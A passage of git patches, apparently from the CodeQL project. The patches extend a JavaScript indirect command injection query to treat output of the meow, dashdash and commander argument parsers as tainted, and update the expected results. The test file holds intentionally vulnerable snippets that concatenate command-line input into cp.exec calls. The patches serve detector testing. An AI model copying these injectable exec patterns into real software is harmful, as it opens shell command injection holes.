command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:107:8:107:51 | options | +| command-line-parameter-command-injection.js:108:22:108:28 | options | command-line-parameter-command-injection.js:108:22:108:32 | options.foo | +| command-line-parameter-command-injection.js:108:22:108:32 | options.foo | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | +| command-line-parameter-command-injection.js:108:22:108:32 | options.foo | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | #select | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument | | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument | @@ -324,3 +337,4 @@ edges | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line-parameter-command-injection.js:89:10:89:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:88:25:88:36 | process.argv | command-line argument | | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line argument | | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line argument | +| command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line argument | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js index e26beae940f..51e75ed0fe2 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js @@ -100,4 +100,10 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK parser.add_argument('-f', '--foo', { help: 'foo bar' }); cp.exec("cmd.sh " + parser.parse_args().foo); // NOT OK -}) \ No newline at end of file +}); + +(function () { + const commandLineArgs = require('command-line-args'); + const options = commandLineArgs(optionDefinitions); + cp.exec("cmd.sh " + options.foo); // NOT OK +}); \ No newline at end of file From 269de4919628056078e6001056fbec083b526a17 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 15:57:33 +0100 Subject: [PATCH 0087/1241] add model for "meow" --- .../IndirectCommandInjectionCustomizations.qll | 3 +++ .../CWE-078/IndirectCommandInjection.expected | 16 ++++++++++++++++ .../command-line-parameter-command-injection.js | 8 ++++++++ 3 files changed, 27 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index d71d584a9b7..6abd1090de7 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -63,6 +63,9 @@ module IndirectCommandInjection { or // `require('command-line-args')({...spec})` => `{a: ..., b: ...}` this = DataFlow::moduleImport("command-line-args").getACall() + or + // `require('meow')(help, {...spec})` => `{a: ..., b: ....}` + this = DataFlow::moduleImport("meow").getACall() } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected index fbc27ac6649..98f63058cce 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected @@ -165,6 +165,14 @@ nodes | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | | command-line-parameter-command-injection.js:108:22:108:28 | options | | command-line-parameter-command-injection.js:108:22:108:32 | options.foo | +| command-line-parameter-command-injection.js:114:8:114:52 | cli | +| command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | +| command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | +| command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | +| command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | +| command-line-parameter-command-injection.js:116:22:116:24 | cli | +| command-line-parameter-command-injection.js:116:22:116:30 | cli.input | +| command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | edges | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:22:8:36 | process.argv[2] | @@ -310,6 +318,13 @@ edges | command-line-parameter-command-injection.js:108:22:108:28 | options | command-line-parameter-command-injection.js:108:22:108:32 | options.foo | | command-line-parameter-command-injection.js:108:22:108:32 | options.foo | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | | command-line-parameter-command-injection.js:108:22:108:32 | options.foo | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | +| command-line-parameter-command-injection.js:114:8:114:52 | cli | command-line-parameter-command-injection.js:116:22:116:24 | cli | +| command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line-parameter-command-injection.js:114:8:114:52 | cli | +| command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line-parameter-command-injection.js:114:8:114:52 | cli | +| command-line-parameter-command-injection.js:116:22:116:24 | cli | command-line-parameter-command-injection.js:116:22:116:30 | cli.input | +| command-line-parameter-command-injection.js:116:22:116:30 | cli.input | command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | +| command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | +| command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | #select | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument | | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument | @@ -338,3 +353,4 @@ edges | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line-parameter-command-injection.js:92:10:92:30 | "cmd.sh ... ags.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:91:14:91:38 | require ... .spec}) | command-line argument | | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line argument | | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line argument | +| command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line argument | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js index 51e75ed0fe2..85bd6ea41d0 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js @@ -106,4 +106,12 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK const commandLineArgs = require('command-line-args'); const options = commandLineArgs(optionDefinitions); cp.exec("cmd.sh " + options.foo); // NOT OK +}); + +(function () { + const meow = require('meow'); + + const cli = meow(`helpstring`, {flags: {...flags}}); + + cp.exec("cmd.sh " + cli.input[0]); // NOT OK }); \ No newline at end of file From 653ebf76680bb8e2ea87f036f06a5e20ece03439 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 16:02:13 +0100 Subject: [PATCH 0088/1241] add command parsing model for "dashdash" --- ...IndirectCommandInjectionCustomizations.qll | 7 +++++ .../CWE-078/IndirectCommandInjection.expected | 28 +++++++++++++++++++ ...ommand-line-parameter-command-injection.js | 15 +++++++++- 3 files changed, 49 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index 6abd1090de7..89391ed001d 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -66,6 +66,13 @@ module IndirectCommandInjection { or // `require('meow')(help, {...spec})` => `{a: ..., b: ....}` this = DataFlow::moduleImport("meow").getACall() + or + // https://www.npmjs.com/package/dashdash + this = + [ + API::moduleImport("dashdash"), + API::moduleImport("dashdash").getMember("createParser").getReturn() + ].getMember("parse").getACall() } } diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected index 98f63058cce..93e345172b9 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected @@ -173,6 +173,20 @@ nodes | command-line-parameter-command-injection.js:116:22:116:24 | cli | | command-line-parameter-command-injection.js:116:22:116:30 | cli.input | | command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | +| command-line-parameter-command-injection.js:122:6:122:46 | opts | +| command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | +| command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | +| command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:124:22:124:25 | opts | +| command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | +| command-line-parameter-command-injection.js:127:6:127:38 | opts | +| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | +| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | +| command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:129:22:129:25 | opts | +| command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | edges | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:22:8:36 | process.argv[2] | @@ -325,6 +339,18 @@ edges | command-line-parameter-command-injection.js:116:22:116:30 | cli.input | command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | | command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | | command-line-parameter-command-injection.js:116:22:116:33 | cli.input[0] | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | +| command-line-parameter-command-injection.js:122:6:122:46 | opts | command-line-parameter-command-injection.js:124:22:124:25 | opts | +| command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line-parameter-command-injection.js:122:6:122:46 | opts | +| command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line-parameter-command-injection.js:122:6:122:46 | opts | +| command-line-parameter-command-injection.js:124:22:124:25 | opts | command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | +| command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:127:6:127:38 | opts | command-line-parameter-command-injection.js:129:22:129:25 | opts | +| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line-parameter-command-injection.js:127:6:127:38 | opts | +| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line-parameter-command-injection.js:127:6:127:38 | opts | +| command-line-parameter-command-injection.js:129:22:129:25 | opts | command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | +| command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | #select | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument | | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument | @@ -354,3 +380,5 @@ edges | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line-parameter-command-injection.js:102:10:102:44 | "cmd.sh ... s().foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:102:22:102:40 | parser.parse_args() | command-line argument | | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line argument | | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line argument | +| command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line argument | +| command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line argument | diff --git a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js index 85bd6ea41d0..b4f866ee6de 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js +++ b/javascript/ql/test/query-tests/Security/CWE-078/command-line-parameter-command-injection.js @@ -114,4 +114,17 @@ cp.exec("cmd.sh " + require("optimist").argv.foo); // NOT OK const cli = meow(`helpstring`, {flags: {...flags}}); cp.exec("cmd.sh " + cli.input[0]); // NOT OK -}); \ No newline at end of file +}); + +(function () { + var dashdash = require('dashdash'); + + var opts = dashdash.parse({options: options}); + + cp.exec("cmd.sh " + opts.foo); // NOT OK + + var parser = dashdash.createParser({options: options}); + var opts = parser.parse(); + + cp.exec("cmd.sh " + opts.foo); // NOT OK +}) \ No newline at end of file From fd0d5c9e46075ded369aa264b47f163a9412b0ee Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 26 Nov 2020 16:09:22 +0100 Subject: [PATCH 0089/1241] add command parsing model for "commander" --- ...IndirectCommandInjectionCustomizations.qll | 28 ++++++++ .../CWE-078/IndirectCommandInjection.expected | 69 +++++++++++++++++-- ...ommand-line-parameter-command-injection.js | 19 ++++- 3 files changed, 108 insertions(+), 8 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll index 89391ed001d..761cfff64d2 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/IndirectCommandInjectionCustomizations.qll @@ -90,6 +90,34 @@ module IndirectCommandInjection { ) } + /** + * A Command instance from the `commander` library. + */ + private API::Node commander() { + result = API::moduleImport("commander") + or + // `require("commander").program === require("commander")` + result = commander().getMember("program") + or + result = commander().getMember("Command").getInstance() + or + // lots of chainable methods + result = commander().getAMember().getReturn() + } + + /** + * A source of user input from the command-line parsed by the `commander` library. + */ + private class CommanderSource extends Source { + CommanderSource() { + // the parsed commands are stored as properties on the command object. + this = commander().getAMember().getAnImmediateUse() + or + // or the `opts()` method gets a list of them. + this = commander().getMember("opts").getACall() + } + } + /** * Gets an instance of `yargs`. * Either directly imported as a module, or through some chained method call. diff --git a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected index 93e345172b9..4173f8d67ad 100644 --- a/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected +++ b/javascript/ql/test/query-tests/Security/CWE-078/IndirectCommandInjection.expected @@ -180,13 +180,37 @@ nodes | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | | command-line-parameter-command-injection.js:124:22:124:25 | opts | | command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | -| command-line-parameter-command-injection.js:127:6:127:38 | opts | -| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | -| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | +| command-line-parameter-command-injection.js:127:6:127:26 | opts | +| command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | +| command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | | command-line-parameter-command-injection.js:129:22:129:25 | opts | | command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | +| command-line-parameter-command-injection.js:133:8:133:41 | program | +| command-line-parameter-command-injection.js:133:10:133:16 | program | +| command-line-parameter-command-injection.js:133:10:133:16 | program | +| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | +| command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | +| command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | +| command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | +| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:137:22:137:28 | program | +| command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | +| command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | +| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | +| command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | +| command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | +| command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | +| command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | edges | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:22:8:36 | process.argv[2] | @@ -345,12 +369,36 @@ edges | command-line-parameter-command-injection.js:124:22:124:25 | opts | command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | | command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | | command-line-parameter-command-injection.js:124:22:124:29 | opts.foo | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | -| command-line-parameter-command-injection.js:127:6:127:38 | opts | command-line-parameter-command-injection.js:129:22:129:25 | opts | -| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line-parameter-command-injection.js:127:6:127:38 | opts | -| command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line-parameter-command-injection.js:127:6:127:38 | opts | +| command-line-parameter-command-injection.js:127:6:127:26 | opts | command-line-parameter-command-injection.js:129:22:129:25 | opts | +| command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line-parameter-command-injection.js:127:6:127:26 | opts | +| command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line-parameter-command-injection.js:127:6:127:26 | opts | | command-line-parameter-command-injection.js:129:22:129:25 | opts | command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | | command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | | command-line-parameter-command-injection.js:129:22:129:29 | opts.foo | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | +| command-line-parameter-command-injection.js:133:8:133:41 | program | command-line-parameter-command-injection.js:137:22:137:28 | program | +| command-line-parameter-command-injection.js:133:10:133:16 | program | command-line-parameter-command-injection.js:133:8:133:41 | program | +| command-line-parameter-command-injection.js:133:10:133:16 | program | command-line-parameter-command-injection.js:133:8:133:41 | program | +| command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | +| command-line-parameter-command-injection.js:136:22:136:35 | program.opts() | command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | +| command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:136:22:136:45 | program ... zzaType | command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:137:22:137:28 | program | command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | +| command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:137:22:137:38 | program.pizzaType | command-line-parameter-command-injection.js:137:10:137:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:35 | program.opts() | command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:145:22:145:45 | program ... zzaType | command-line-parameter-command-injection.js:145:10:145:45 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | +| command-line-parameter-command-injection.js:146:22:146:38 | program.pizzaType | command-line-parameter-command-injection.js:146:10:146:38 | "cmd.sh ... zzaType | #select | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:4:10:4:21 | process.argv | command-line argument | | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line-parameter-command-injection.js:8:10:8:36 | "cmd.sh ... argv[2] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:8:22:8:33 | process.argv | command-line argument | @@ -381,4 +429,11 @@ edges | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line-parameter-command-injection.js:108:10:108:32 | "cmd.sh ... ons.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:107:18:107:51 | command ... itions) | command-line argument | | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line-parameter-command-injection.js:116:10:116:33 | "cmd.sh ... nput[0] | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:114:14:114:52 | meow(`h ... lags}}) | command-line argument | | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line-parameter-command-injection.js:124:10:124:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:122:13:122:46 | dashdas ... tions}) | command-line argument | -| command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:127:13:127:38 | parser. ... s.argv) | command-line argument | +| command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line-parameter-command-injection.js:129:10:129:29 | "cmd.sh " + opts.foo | This command depends on an unsanitized $@. | command-line-parameter-command-injection.js:127:13:127:26 | parser.parse() | command-line argument | +| command-line-parameter-command-injection.js:136:10:136:45 | "cmd.sh ... zzaType | 